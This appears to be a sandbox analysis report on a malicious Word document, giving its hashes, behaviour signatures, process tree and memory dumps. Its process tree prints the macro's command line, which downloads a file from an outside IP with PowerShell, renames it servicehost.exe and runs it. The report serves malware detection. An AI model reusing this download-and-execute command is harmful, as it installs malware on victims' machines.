Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    10/04/2024, 09:23

General

  • Target

    058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc

  • Size

    49KB

  • MD5

    46e03f21a95afa321b88e44e7e399ec3

  • SHA1

    757109011448eb4dc020758aa6033ce536682714

  • SHA256

    058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080

  • SHA512

    081c98031a1af48714d8518638865499d78c7afd25346e7921056dd6721823831c89aa74d2680cecbc6329ebfa258da3a7c347a7fb6a0b14264b4fd208de13a9

  • SSDEEP

    768:ZonLBFzQDebtfrn1GqClwxw+tioPKcDy:KLBFPlrn1GqTxrtiMKc

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\058e33e62dd03187d3bbb6a7154a14559149cab11c5bb6111cc965d154f82080.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2076
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c powershell -command "iwr -outf c:\ProgramData\document.htm 45.63.49.202/document.html"&& cd c:\ProgramData &&ren document.htm servicehost.exe && servicehost.exe
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:2496
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "iwr -outf c:\ProgramData\document.htm 45.63.49.202/document.html"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2616

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

            Filesize

            20KB

            MD5

            10bdad848cceca8b8aad9db8cabc40ba

            SHA1

            c5d87f4f63532b6c79716683a0b5040b5cfad766

            SHA256

            115a14f079ff0b03065e681a18547ed9e60c9bcecc404e58bdef23f126a7bd87

            SHA512

            1c4e7c4f98ba0d7734eb730b4b0233f751d2eede6eab9d47b230fa6d04a1128c01f9a14f0411bdc2e00faff6dd5bff12f8bf467340c4a8fe9befb762f53e7db8

          • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

            Filesize

            2B

            MD5

            f3b25701fe362ec84616a93a45ce9998

            SHA1

            d62636d8caec13f04e28442a0a6fa1afeb024bbb

            SHA256

            b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

            SHA512

            98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

          • memory/2076-30-0x0000000000350000-0x0000000000450000-memory.dmp

            Filesize

            1024KB

          • memory/2076-0-0x000000002F681000-0x000000002F682000-memory.dmp

            Filesize

            4KB

          • memory/2076-7-0x0000000000350000-0x0000000000450000-memory.dmp

            Filesize

            1024KB

          • memory/2076-8-0x0000000000350000-0x0000000000450000-memory.dmp

            Filesize

            1024KB

          • memory/2076-6-0x0000000000350000-0x0000000000450000-memory.dmp

            Filesize

            1024KB

          • memory/2076-49-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB

          • memory/2076-48-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2076-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2076-2-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB

          • memory/2076-29-0x0000000070B0D000-0x0000000070B18000-memory.dmp

            Filesize

            44KB

          • memory/2616-16-0x000000006A3F0000-0x000000006A99B000-memory.dmp

            Filesize

            5.7MB

          • memory/2616-19-0x000000006A3F0000-0x000000006A99B000-memory.dmp

            Filesize

            5.7MB

          • memory/2616-18-0x00000000029C0000-0x0000000002A00000-memory.dmp

            Filesize

            256KB

          • memory/2616-17-0x000000006A3F0000-0x000000006A99B000-memory.dmp

            Filesize

            5.7MB